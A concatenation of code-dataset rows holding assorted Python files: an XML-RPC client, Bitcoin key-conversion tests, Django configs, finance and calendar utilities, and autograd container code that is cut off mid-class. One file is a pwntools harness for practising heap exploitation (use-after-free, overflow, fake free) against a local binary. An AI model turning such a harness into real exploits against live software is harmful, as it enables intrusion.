| 17.125 | 45 | 0.79562 | 17 | 137 | 6.352941 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116788 | 137 | 7 | 46 | 19.571429 | 0.892562 | 0 | 0 | 0 | 0 | 0 | 0.043796 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
ca6e127b34486b1fde939d71dcd9e8af2f3a4daa | 322 | py | Python | xmlrpc/client.py | davidvoler/ate_meteor | d7ac20638a30e941e0ca8740499743bc26dd57be | [
"MIT"
] | null | null | null | xmlrpc/client.py | davidvoler/ate_meteor | d7ac20638a30e941e0ca8740499743bc26dd57be | [
"MIT"
] | 2 | 2015-08-06T14:08:39.000Z | 2015-09-29T09:47:26.000Z | xmlrpc/client.py | davidvoler/ate_meteor | d7ac20638a30e941e0ca8740499743bc26dd57be | [
"MIT"
] | null | null | null | __author__ = 'avraham'
from xmlrpclib import ServerProxy
port = 9876
class Client(ServerProxy):
def __init__(self, ip='127.0.0.1'):
ServerProxy.__init__(self, ('http://{}:{}'.format(ip, port)))
def get_methods(self):
return [x for x in self.system.listMethods() if not x.startswith('sys')]
| 24.769231 | 84 | 0.652174 | 43 | 322 | 4.581395 | 0.72093 | 0.081218 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038314 | 0.189441 | 322 | 12 | 85 | 26.833333 | 0.716475 | 0 | 0 | 0 | 0 | 0 | 0.096273 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.125 | 0.125 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ca75cca3856c88a531bc1aaa1c544157626687b1 | 3,748 | py | Python | test/test_bitcoin.py | coinplus-sa/coinplus-solo | e4f385a3d9eb7b72e14e397761fd9a113938917a | [
"MIT"
] | 1 | 2018-08-21T06:28:36.000Z | 2018-08-21T06:28:36.000Z | test/test_bitcoin.py | coinplus-sa/coinplus-solo | e4f385a3d9eb7b72e14e397761fd9a113938917a | [
"MIT"
] | 1 | 2019-05-30T06:23:41.000Z | 2019-09-03T09:49:06.000Z | test/test_bitcoin.py | coinplus-sa/coinplus-solo | e4f385a3d9eb7b72e14e397761fd9a113938917a | [
"MIT"
] | 1 | 2021-06-30T12:36:25.000Z | 2021-06-30T12:36:25.000Z | import unittest
from coinplus_solo_redeem.common import wif_export_bitcoin, compute_public_key_sec256k1, address_from_publickey_bitcoin
class TestBitcoin(unittest.TestCase):
"""test of the bitcoin conversion from private key to wif"""
def setUp(self):
self.test_vector = [("28cb1bccdc33f93c94b73360cef14f0bb0c60774c4819dde1df8e268982851e5", "Kxb1QrK7mFtGayzV2HvuvuoMgbPbCwmJdtPnK4kbcC3XBMXVQbV1"),
("222d6d37a7bff05733340c9636fed4c14f053a78c2dd7c12a270b9efe2ceb668", "KxN9W22CsiquFpLkBLjzsh366BvQnKdEkumTv9jgB3FKHSwF2Zqy"),
("7db31eb00f5136087b914f5725de8f4117be56387aaf5ff5455ee5a5d6c02088", "L1S485xivNwoN8t93rprLfWNA77Egj2G8JJWY8GLWXJmi973Aqsp"),
("a1d01da3cacb1766a78692ccba8fff6a1bca9de088581c284a8ce3aa4711f666", "L2eFh6gDsQEStWY9PjvKNnGEyTwKirQ3mHKh6HXLeieNFpWwFrFa"),
("4f234357b42745698ff9121ed828228005fcc776d18ddd790c525375815a9a77", "KysYXLo4xE37wZE6GPM3Fzfnv4WTmXVVnkAoy9QbfZebMqe5CQtE"),
("ecc33ce35dccef1ec35c8faec5b60024cc506feae3f1a626d4d9f6ada196dce8", "L59wrNzSjE634RuYZVA2iTL2yUg6MwUJa8CbBvSM14693CtQFysg"),
("63f9f5c10e933165ec6af5213abe8ff9e28010b3ada3718db3171fb8cc08a4a0", "Kza3y1piJGUFox6Wn8jN5xhepMVi8S5UHW73XN51zriDE3Dxx7yd"),
("05dd119ad6b50855abd178d843f93ea39d84c6ed13fa0e7d376d57efdddddde0", "KwR7GSmo8XC7GuZrV3sHneKXHt3M2epoqaep1cb3jHTMxs5Rte8g"),
("c9e19496da7f4e6bed5f4c3e7ae79708bfe53baecbf87b1f4a87999343e9ab47", "L3z9AGPQsc9GWPL16mDgb7rBGjN2geLcERAichQ4G6DPoXCvbBuB"),
("14c1e83152c2d4c810d67a66e36c45f596a63ff1324b5d7044f2ce12d74318c3", "Kwv4UHDn9HChQWUJWvASGmU4zymjotoUC8pUcS3p5i6XB9jCkWS2")]
self.test_add_vector = [("03cb3e5f30245658e1e3615f1620e5b40f7d9016c0edb3611dd786327dd5e40caa", "1AJyJhYJJfvb1ytwL45XxLePGnGihjXtyg"),
("03c2773e19b0cd4175832d781d521390e5aac7b0841904f93211bf114786f5a145", "13HJFyXMNaY4xRevxzTkGCpL6JTnaZwtqB"),
("0277c3757e791426b7fa43cf64197bfd5c2fe277ece721b12558a52729f6b68b8a", "15UDAMYQFDwEohwHZQSPhUEfMntxqhRwyC"),
("02d93dfcd93a76d7bac5b0fa394ad4bfd6cd92d10a64728b4b5f707d87db9cd2aa", "1JWhC25CxDpThSqSbiaxZcCuSD3W1kBUeU"),
("037049004c5ad576beb518dcc74506df3faf520109a489886b7d1435a63b9b0b88", "18DnvUwwQojE15Nm4yPssppCkvthQrjht1"),
("0260bbacc03555af21f062ff04e9fbde36bcf0ae7396812d336e7f2e5292306f2b", "1F825icztz7iSehEs5k3vp74PmLPNM4eYK"),
("0343710601de0710dd81a0b7102bf1b794809a330caf4e1b4ae6567923c00df6a5", "1LrHM6y5FaajEdr1U6Rt9frJYrd3jUJPaF"),
("028c48ff458287f34cc1ad5c58a441500f8f315e9cabe34ff1601a5a0f791e4d0a", "1GRFJLzwZ84CNBGxrchceVshj4tGwNx1uL"),
("0258cdabe1dad468dda6a7d62bee9e0cddadfe87d664e62df9143e769c017dd651", "1DsnyMCnFcCM94JDZN99FPGaCsS1xxji47"),
("0289a6d2272382ceec291674530eebb1b05dadab88ebf1bc45569ba612a4e3973a", "1Cpia8RVuypnc2QMFjqiZsN8kZT9xUYxTs")]
def test_compute_testvector(self):
for privatekey_hex, privatekey_wif in self.test_vector:
privatekey = bytearray.fromhex(privatekey_hex)
self.assertEqual(wif_export_bitcoin(privatekey), privatekey_wif)
def test_address_testvector(self):
for publickey_hex, address_expected in self.test_add_vector:
publickey = bytearray.fromhex(publickey_hex)
address = address_from_publickey_bitcoin(publickey)
self.assertEqual(address, address_expected)
| 96.102564 | 153 | 0.743863 | 141 | 3,748 | 19.539007 | 0.560284 | 0.011615 | 0.011615 | 0.019601 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.318348 | 0.198773 | 3,748 | 38 | 154 | 98.631579 | 0.599068 | 0.014408 | 0 | 0 | 0 | 0 | 0.585683 | 0.585683 | 0 | 0 | 0 | 0 | 0.060606 | 1 | 0.090909 | false | 0 | 0.060606 | 0 | 0.181818 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ca99a6d0c24e8be79c8b7ceda99e07215c385c4b | 145 | py | Python | discovery/__init__.py | amenezes/discovery-client | 9c41456d1cc14f4aab34628ad4e13423e00bc4be | [
"Apache-2.0"
] | 2 | 2019-07-18T22:43:49.000Z | 2020-03-09T03:27:41.000Z | discovery/__init__.py | amenezes/discovery-client | 9c41456d1cc14f4aab34628ad4e13423e00bc4be | [
"Apache-2.0"
] | 20 | 2019-02-27T19:08:03.000Z | 2021-06-22T16:47:32.000Z | discovery/__init__.py | amenezes/discovery-client | 9c41456d1cc14f4aab34628ad4e13423e00bc4be | [
"Apache-2.0"
] | null | null | null | import logging
from discovery.__version__ import __version__
log = logging.getLogger("discovery-client")
log.addHandler(logging.NullHandler())
| 20.714286 | 45 | 0.82069 | 16 | 145 | 6.9375 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.082759 | 145 | 6 | 46 | 24.166667 | 0.834586 | 0 | 0 | 0 | 0 | 0 | 0.110345 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
049436623453edf52badd7f36958c3fdba39f850 | 87 | py | Python | django_gotolong/fratio/apps.py | ParikhKadam/gotolong | 839beb8aa37055a2078eaa289b8ae05b62e8905e | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 15 | 2019-12-06T16:19:45.000Z | 2021-08-20T13:22:22.000Z | django_gotolong/fratio/apps.py | ParikhKadam/gotolong | 839beb8aa37055a2078eaa289b8ae05b62e8905e | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 14 | 2020-12-08T10:45:05.000Z | 2021-09-21T17:23:45.000Z | django_gotolong/fratio/apps.py | ParikhKadam/gotolong | 839beb8aa37055a2078eaa289b8ae05b62e8905e | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 9 | 2020-01-01T03:04:29.000Z | 2021-04-18T08:42:30.000Z | from django.apps import AppConfig
class FratioConfig(AppConfig):
name = 'fratio'
| 14.5 | 33 | 0.747126 | 10 | 87 | 6.5 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172414 | 87 | 5 | 34 | 17.4 | 0.902778 | 0 | 0 | 0 | 0 | 0 | 0.068966 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
04aa8d5140919fcae6e3bfc59fd518b87bf275c1 | 138 | py | Python | pubmed/test.py | excelsimon/Pubmed-author_email-extract | 2936573ae3c466021a6f7686c7f9de8c329c69eb | [
"MIT"
] | 1 | 2017-08-14T03:49:03.000Z | 2017-08-14T03:49:03.000Z | pubmed/test.py | excelsimon/Pubmed-author_email-extract | 2936573ae3c466021a6f7686c7f9de8c329c69eb | [
"MIT"
] | null | null | null | pubmed/test.py | excelsimon/Pubmed-author_email-extract | 2936573ae3c466021a6f7686c7f9de8c329c69eb | [
"MIT"
] | 4 | 2017-05-13T05:27:52.000Z | 2020-11-05T16:17:20.000Z | emailList = []
f = open('test.txt','r')
for ln in f:
if ' ' in ln:
continue
emailList.append(ln)
print 'emailList: ',emailList
| 17.25 | 30 | 0.608696 | 20 | 138 | 4.2 | 0.65 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.224638 | 138 | 7 | 31 | 19.714286 | 0.785047 | 0 | 0 | 0 | 0 | 0 | 0.160305 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.142857 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
04b4c42aeadb0c3faacf2f366d88c42a83a72272 | 871 | py | Python | playground.py | Hank0438/heap_tracer | 5783e605bbbb85e88767450ed1865b9aebef1bc6 | [
"BSD-2-Clause"
] | null | null | null | playground.py | Hank0438/heap_tracer | 5783e605bbbb85e88767450ed1865b9aebef1bc6 | [
"BSD-2-Clause"
] | null | null | null | playground.py | Hank0438/heap_tracer | 5783e605bbbb85e88767450ed1865b9aebef1bc6 | [
"BSD-2-Clause"
] | null | null | null | from pwn import *
r = process("./playground.c")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def malloc(num):
r.recvuntil(">")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(num))
def fill_chunk(num):
r.recvuntil(">")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(num))
def free(num):
r.recvuntil(">")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(num))
def uaf(num):
r.recvuntil(">")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(num))
def overflow(num, overflow_num):
r.recvuntil(">")
r.sendline("5")
r.recvuntil(": ")
r.sendline(str(num))
def fake_free():
r.recvuntil(">")
r.sendline("6")
r.recvuntil(": ")
r.sendline(str(num))
malloc(0)
r.interactive() | 19.355556 | 51 | 0.541906 | 120 | 871 | 3.891667 | 0.308333 | 0.256959 | 0.282655 | 0.488223 | 0.708779 | 0.473233 | 0.4197 | 0.119914 | 0.119914 | 0 | 0 | 0.031627 | 0.237658 | 871 | 45 | 52 | 19.355556 | 0.671687 | 0.055109 | 0 | 0.514286 | 0 | 0 | 0.092545 | 0.043702 | 0 | 0 | 0 | 0 | 0 | 1 | 0.171429 | false | 0 | 0.028571 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
04c1a63427741f65b7771c11cc01a39bfb09f703 | 476 | py | Python | cal_tools/struct/submesh.py | hsoju/cal-tools | b6b24926d1e32ecd09dd469be20538fcdafb0e15 | [
"MIT"
] | null | null | null | cal_tools/struct/submesh.py | hsoju/cal-tools | b6b24926d1e32ecd09dd469be20538fcdafb0e15 | [
"MIT"
] | null | null | null | cal_tools/struct/submesh.py | hsoju/cal-tools | b6b24926d1e32ecd09dd469be20538fcdafb0e15 | [
"MIT"
] | null | null | null | from typing import Collection
from cal_tools.struct.face import CalFace
from cal_tools.struct.morph import CalMorph
from cal_tools.struct.vertex import CalVertex
class CalSubmesh:
def __init__(self, material: int, vertices: Collection[CalVertex], faces: Collection[CalFace],
morphs: Collection[CalMorph] = None):
self.material = material
self.vertices = vertices
self.faces = faces
self.morphs = morphs if morphs else ()
| 34 | 98 | 0.714286 | 57 | 476 | 5.842105 | 0.45614 | 0.063063 | 0.108108 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.212185 | 476 | 13 | 99 | 36.615385 | 0.888 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.363636 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
04d1bc1dce7c6269c003373d2cc9252ec617a91c | 596 | py | Python | flask-app/app/app/core/app_setup.py | mcelisr1/flask-docker-backend-stack | 07c640401c42db843ba3e77bba460224591506ab | [
"MIT"
] | 2 | 2019-04-30T23:48:36.000Z | 2019-07-17T15:26:57.000Z | flask-app/app/app/core/app_setup.py | mcelisr1/flask-docker-backend-stack | 07c640401c42db843ba3e77bba460224591506ab | [
"MIT"
] | null | null | null | flask-app/app/app/core/app_setup.py | mcelisr1/flask-docker-backend-stack | 07c640401c42db843ba3e77bba460224591506ab | [
"MIT"
] | null | null | null |
# Import app code
from app.main import app # noqa
# Set up global variables
from app.core import data # noqa
# Set up Config Environments
from app.core import config # noqa
# Set up flask db session
from app.core.db.session import db_session # noqa
# Load dafault data on DB
from app.core.db.init_db import load_default_data
# Set up CORS
from . import cors # noqa
from .jwt import jwt # noqa
from . import errors # noqa
# Set up Flask Endpoints
from ..api.v1 import api as api_v1 # noqa
@app.before_first_request
def setup():
# Load dafault data on DB
load_default_data()
| 21.285714 | 50 | 0.731544 | 101 | 596 | 4.227723 | 0.336634 | 0.081967 | 0.084309 | 0.079625 | 0.088993 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004219 | 0.204698 | 596 | 27 | 51 | 22.074074 | 0.896624 | 0.357383 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | true | 0 | 0.75 | 0 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
04dd4054cf822a4ba24699d6faff9a798c1077f5 | 360 | py | Python | py_elasticinfra/metrics/cpu_load.py | NullConvergence/py_metrics | fa58959591a1a4ee90cb4145acd4ed5f9f6c3b8a | [
"MIT"
] | null | null | null | py_elasticinfra/metrics/cpu_load.py | NullConvergence/py_metrics | fa58959591a1a4ee90cb4145acd4ed5f9f6c3b8a | [
"MIT"
] | null | null | null | py_elasticinfra/metrics/cpu_load.py | NullConvergence/py_metrics | fa58959591a1a4ee90cb4145acd4ed5f9f6c3b8a | [
"MIT"
] | null | null | null | import psutil
from .base import BaseMetric
class CpuLoad(BaseMetric):
def __init__(self):
pass
def measure(self):
load = psutil.cpu_percent()
cpu_threads = psutil.cpu_percent(percpu=True)
return {'cpu_load_average': load,
'cpu_load_threads': cpu_threads}
def get_type(self):
return 'cpu'
| 21.176471 | 53 | 0.630556 | 43 | 360 | 4.976744 | 0.511628 | 0.084112 | 0.149533 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.277778 | 360 | 16 | 54 | 22.5 | 0.823077 | 0 | 0 | 0 | 0 | 0 | 0.097222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.083333 | 0.166667 | 0.083333 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
04e56c9e1ac441e2b6c321a2b4209ef7f3040dfc | 1,562 | py | Python | merch_week.py | m-paulus/merch_calendar | 1b5065828c91685b92135f892ef4054082013fb1 | [
"MIT"
] | null | null | null | merch_week.py | m-paulus/merch_calendar | 1b5065828c91685b92135f892ef4054082013fb1 | [
"MIT"
] | null | null | null | merch_week.py | m-paulus/merch_calendar | 1b5065828c91685b92135f892ef4054082013fb1 | [
"MIT"
] | null | null | null | import merch_calendar
from datetime import date, timedelta
import calendar
class MerchWeek:
def __init__(self, year, month, week):
try:
self._date = merch_calendar.start_of_week(year, month, week)
except:
raise
@classmethod
def from_date(cls, date):
year = merch_calendar.year(date)
month = merch_calendar.month(date)
week = merch_calendar.week_of_month(date)
return cls(year, month, week)
@classmethod
def from_year_week(cls, year, week):
if week < 1 or week > merch_calendar.weeks_in_year(year):
raise ValueError('Week number out of range')
return cls(year, 1, week)
@property
def year(self):
return merch_calendar.year(self._date)
@property
def month(self):
return merch_calendar.month(self._date)
@property
def week_of_month(self):
return merch_calendar.week_of_month(self._date)
@property
def week_of_year(self):
return merch_calendar.week_of_year(self._date)
@property
def month_abbr(self):
return calendar.month_abbr[merch_calendar.to_julian_month(self.month)]
@property
def month_name(self):
return calendar.month_name[merch_calendar.to_julian_month(self.month)]
@property
def start_date(self):
return self._date
@property
def end_date(self):
return self._date + timedelta(6)
def __repr__(self):
return "<MerchWeek: "+str(self.year)+" WK"+"{n:02d}".format(n=self.week_of_year)+">"
| 26.033333 | 92 | 0.65493 | 205 | 1,562 | 4.717073 | 0.219512 | 0.161324 | 0.08273 | 0.098242 | 0.406412 | 0.275078 | 0.157187 | 0.09514 | 0.09514 | 0 | 0 | 0.004248 | 0.246479 | 1,562 | 59 | 93 | 26.474576 | 0.817332 | 0 | 0 | 0.217391 | 0 | 0 | 0.03009 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.26087 | false | 0 | 0.065217 | 0.195652 | 0.586957 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
04ef6f0e489ba56bb79c74e9f8745f375bebe0bc | 3,840 | py | Python | hybmc/models/DeterministicModel.py | sschlenkrich/HybridMonteCarlo | 72f54aa4bcd742430462b27b72d70369c01f9ac4 | [
"MIT"
] | 3 | 2021-08-18T18:34:41.000Z | 2021-12-24T07:05:19.000Z | hybmc/models/DeterministicModel.py | sschlenkrich/HybridMonteCarlo | 72f54aa4bcd742430462b27b72d70369c01f9ac4 | [
"MIT"
] | null | null | null | hybmc/models/DeterministicModel.py | sschlenkrich/HybridMonteCarlo | 72f54aa4bcd742430462b27b72d70369c01f9ac4 | [
"MIT"
] | 3 | 2021-01-31T11:41:19.000Z | 2022-03-25T19:51:20.000Z | #!/usr/bin/python
import numpy as np
from hybmc.models.StochasticProcess import StochasticProcess
class DeterministicModel(StochasticProcess):
# Python constructor
def __init__(self,
domAlias, # name of our domestic (numeraire) currency
domCurve, # domestic (discounting) yield curve
forAliases, # list of foreign currencies (all relative to dom currency)
forAssetSpots, # list of foreign asset initial values
forCurves ): # list of foreign (discounting) yield curves
#
self.domAlias = domAlias
self.domCurve = domCurve
self.forAliases = forAliases
self.forAssetSpots = forAssetSpots
self.forCurves = forCurves
#
# we need to know the model index for a given alias
if self.forAliases is not None:
self.index = { self.forAliases[k] : k for k in range(len(self.forAliases)) }
else:
self.index = None
def size(self):
return 0
def factors(self):
return 0
def initialValues(self):
return np.array([])
def evolve(self, t0, X0, dt, dW, X1):
# there is nothing to be done
return
# the short rate over an integration time period
# this is required for drift calculation in multi-asset and hybrid models
def shortRateOverPeriod(self, t0, dt, X0, X1):
B_d = self.domCurve.discount(t0) / self.domCurve.discount(t0 + dt) # deterministic drift part for r_d
return np.log(B_d) / dt
# bond volatility is used in hybrid model vol adjuster
def zeroBondVolatility(self, t, T):
# we wrap scalar bond volatility into array to allow
# for generalisation to multi-factor models
return np.array([ ])
def zeroBondVolatilityPrime(self, t, T):
# we wrap scalar bond volatility into array to allow
# for generalisation to multi-factor models
return np.array([ ])
# interface for payoff calculation
def numeraire(self, t, X):
return 1.0 / self.domCurve.discount(t)
def asset(self, t, X, alias):
k = self.index[alias] # this should throw an exception if alias is unknown
return self.forAssetSpots[k] * self.forCurves[k].discount(t) / self.domCurve.discount(t)
def zeroBond(self, t, T, X, alias):
if alias is None or alias==self.domAlias:
return self.domCurve.discount(T) / self.domCurve.discount(t)
k = self.index[alias] # this should throw an exception if alias is unknown
return self.forCurves[k].discount(T) / self.forCurves[k].discount(t)
def path(self):
return self.Path(self)
# for actual payoffs we need a path object
class Path():
# Python constructor
def __init__(self, model):
self.model = model
# the numeraire in the domestic currency used for discounting future payoffs
def numeraire(self, t):
# we may add numeraire adjuster here...
return self.model.numeraire(t,None)
# a domestic/foreign currency zero coupon bond
def zeroBond(self, t, T, alias):
# we may add zcb adjuster here
return self.model.zeroBond(t, T, None, alias)
# an asset price for a given currency alias
def asset(self, t, alias):
# we may add asset adjuster here
return self.model.asset(t, None, alias)
# there are no components to keep track of
def stateAliases(self):
return []
def factorAliases(self):
return []
# some easy to use functions
def DcfModel(curve):
return DeterministicModel(None,curve,None,None,None)
| 35.88785 | 110 | 0.610938 | 475 | 3,840 | 4.915789 | 0.309474 | 0.017131 | 0.051392 | 0.035974 | 0.285225 | 0.182013 | 0.140471 | 0.140471 | 0.140471 | 0.140471 | 0 | 0.004542 | 0.311979 | 3,840 | 106 | 111 | 36.226415 | 0.879258 | 0.32474 | 0 | 0.15 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.316667 | false | 0 | 0.033333 | 0.233333 | 0.683333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
04f0e3299aae2df07132187459eead6effe98308 | 16 | py | Python | pyvcdr/__init__.py | EtlamGit/pyvcdr | abb475d1389b069e6b8ae53d50329e64c3f0e261 | [
"MIT"
] | null | null | null | pyvcdr/__init__.py | EtlamGit/pyvcdr | abb475d1389b069e6b8ae53d50329e64c3f0e261 | [
"MIT"
] | null | null | null | pyvcdr/__init__.py | EtlamGit/pyvcdr | abb475d1389b069e6b8ae53d50329e64c3f0e261 | [
"MIT"
] | null | null | null | name = "pyvcdr"
| 8 | 15 | 0.625 | 2 | 16 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1875 | 16 | 1 | 16 | 16 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
04fb5d0dbcd3e4b473928d99c92155cb381bc3e9 | 5,632 | py | Python | autograd/container_types.py | EnjoyLifeFund/py36pkgs | 0ac677fbbfa7b6d8c527fe2c759ba05117b07fd2 | [
"MIT",
"BSD-2-Clause",
"BSD-3-Clause"
] | null | null | null | autograd/container_types.py | EnjoyLifeFund/py36pkgs | 0ac677fbbfa7b6d8c527fe2c759ba05117b07fd2 | [
"MIT",
"BSD-2-Clause",
"BSD-3-Clause"
] | null | null | null | autograd/container_types.py | EnjoyLifeFund/py36pkgs | 0ac677fbbfa7b6d8c527fe2c759ba05117b07fd2 | [
"MIT",
"BSD-2-Clause",
"BSD-3-Clause"
] | null | null | null | from __future__ import absolute_import
from autograd.core import (primitive, Node, VSpace, register_node, vspace,
register_vspace, SparseObject)
from builtins import zip
from future.utils import iteritems
from functools import partial
import autograd.numpy as np
class SequenceNode(Node):
__slots__ = []
def __getitem__(self, idx): return sequence_take(self, idx)
def __len__(self): return len(self.value)
def __add__(self, other): return sequence_extend_right(self, *other)
def __radd__(self, other): return sequence_extend_left(self, *other)
register_node(SequenceNode, tuple)
register_node(SequenceNode, list)
@primitive
def sequence_take(A, idx):
return A[idx]
def grad_sequence_take(g, ans, vs, gvs, A, idx):
return sequence_untake(g, idx, vs)
sequence_take.defvjp(grad_sequence_take)
@primitive
def sequence_extend_right(seq, *elts):
return seq + type(seq)(elts)
def grad_sequence_extend_right(argnum, g, ans, vs, gvs, args, kwargs):
seq, elts = args[0], args[1:]
return g[:len(seq)] if argnum == 0 else g[len(seq) + argnum - 1]
sequence_extend_right.vjp = grad_sequence_extend_right
@primitive
def sequence_extend_left(seq, *elts):
return type(seq)(elts) + seq
def grad_sequence_extend_left(argnum, g, ans, vs, gvs, args, kwargs):
seq, elts = args[0], args[1:]
return g[len(elts):] if argnum == 0 else g[argnum - 1]
sequence_extend_left.vjp = grad_sequence_extend_left
@primitive
def sequence_untake(x, idx, vs):
if isinstance(idx, int):
accum = lambda result: vs.shape[idx].mut_add(result, x)
else:
accum = lambda result: [elt_vs.mut_add(a, b)
for elt_vs, a, b in zip(vs.shape[idx], result, x)]
def mut_add(A):
result = list(A)
result[idx] = accum(result[idx])
return vs.sequence_type(result)
return SparseObject(vs, mut_add)
sequence_untake.defvjp(lambda g, ans, vs, gvs, x, idx, _: sequence_take(g, idx))
sequence_untake.defvjp_is_zero(argnums=(1, 2))
@primitive
def make_sequence(sequence_type, *args):
return sequence_type(args)
make_sequence.vjp = lambda argnum, g, sequence_type, *args: g[argnum - 1]
make_tuple = partial(make_sequence, tuple)
make_list = partial(make_sequence, list)
class SequenceVSpace(VSpace):
def __init__(self, value):
self.shape = [vspace(x) for x in value]
